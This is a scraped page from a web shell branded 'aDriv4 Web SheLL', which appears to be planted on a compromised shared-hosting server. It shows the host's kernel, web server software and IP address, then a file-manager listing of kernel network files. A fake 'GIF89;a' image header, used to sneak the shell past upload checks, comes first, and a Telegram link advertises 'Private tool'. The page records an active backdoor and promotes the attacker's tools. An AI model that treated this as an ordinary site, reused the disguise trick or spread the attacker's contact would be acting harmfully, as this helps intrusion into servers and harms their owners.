GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium43.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 199.188.200.144

Name Type Size Owner/Group Permission Last Modified Actions
. dir - movibyxa/movibyxa 0555 2025-07-08 04:36:38
.. dir - movibyxa/movibyxa 0555 2025-07-08 04:36:33
dev_snmp6 dir - root/root 0555 2025-07-08 04:36:39
netfilter dir - root/root 0555 2025-07-08 04:36:39
nfsfs dir - root/root 0555 2025-07-08 04:36:39
rpc dir - root/root 0555 2025-07-08 04:36:39
stat dir - root/root 0555 2025-07-08 04:36:39
anycast6 application/x-empty 0 B root/root 0444 2025-07-08 04:36:39
arp text/plain 0 B root/root 0444 2025-07-08 04:36:39
connector text/plain 0 B root/root 0444 2025-07-08 04:36:39
dev text/plain 0 B root/root 0444 2025-07-08 04:36:39
dev_mcast text/plain 0 B root/root 0444 2025-07-08 04:36:39
fib_trie text/plain 0 B root/root 0444 2025-07-08 04:36:39
fib_triestat text/plain 0 B root/root 0444 2025-07-08 04:36:39
hci text/plain 0 B root/root 0444 2025-07-08 04:36:39
icmp text/plain 0 B root/root 0444 2025-07-08 04:36:39
icmp6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
if_inet6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
igmp text/plain 0 B root/root 0444 2025-07-08 04:36:39
igmp6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
ip6_flowlabel text/plain 0 B root/root 0444 2025-07-08 04:36:39
ip6_mr_cache text/plain 0 B root/root 0444 2025-07-08 04:36:39
ip6_mr_vif text/plain 0 B root/root 0444 2025-07-08 04:36:39
ip_mr_cache text/plain 0 B root/root 0444 2025-07-08 04:36:39
ip_mr_vif text/plain 0 B root/root 0444 2025-07-08 04:36:39
ip_tables_matches 0 B root/root 0440 2025-07-08 04:36:39
ip_tables_names 0 B root/root 0440 2025-07-08 04:36:39
ip_tables_targets 0 B root/root 0440 2025-07-08 04:36:39
ipv6_route text/plain 0 B root/root 0444 2025-07-08 04:36:39
l2cap text/plain 0 B root/root 0444 2025-07-08 04:36:39
mcfilter text/plain 0 B root/root 0444 2025-07-08 04:36:39
mcfilter6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
netlink text/plain 0 B root/root 0444 2025-07-08 04:36:39
netstat text/plain 0 B root/root 0444 2025-07-08 04:36:39
nf_conntrack 0 B root/root 0440 2025-07-08 04:36:39
nf_conntrack_expect 0 B root/root 0440 2025-07-08 04:36:39
packet text/plain 0 B root/root 0444 2025-07-08 04:36:39
protocols text/plain 0 B root/root 0444 2025-07-08 04:36:39
psched text/plain 0 B root/root 0444 2025-07-08 04:36:39
ptype text/plain 0 B root/root 0444 2025-07-08 04:36:39
raw text/plain 0 B root/root 0444 2025-07-08 04:36:39
raw6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
route text/plain 0 B root/root 0444 2025-07-08 04:36:39
rt6_stats text/plain 0 B root/root 0444 2025-07-08 04:36:39
rt_acct application/octet-stream 0 B root/root 0444 2025-07-08 04:36:39
rt_cache text/plain 0 B root/root 0444 2025-07-08 04:36:39
sco text/plain 0 B root/root 0444 2025-07-08 04:36:39
snmp text/plain 0 B root/root 0444 2025-07-08 04:36:39
snmp6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
sockstat text/plain 0 B root/root 0444 2025-07-08 04:36:39
sockstat6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
softnet_stat text/plain 0 B root/root 0444 2025-07-08 04:36:39
tcp text/plain 0 B root/root 0444 2025-07-08 04:36:39
tcp6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
udp text/plain 0 B root/root 0444 2025-07-08 04:36:39
udp6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
udplite text/plain 0 B root/root 0444 2025-07-08 04:36:39
udplite6 text/plain 0 B root/root 0444 2025-07-08 04:36:39
unix text/plain 0 B root/root 0444 2025-07-08 04:36:39
xfrm_stat text/plain 0 B root/root 0444 2025-07-08 04:36:39
© aDriv4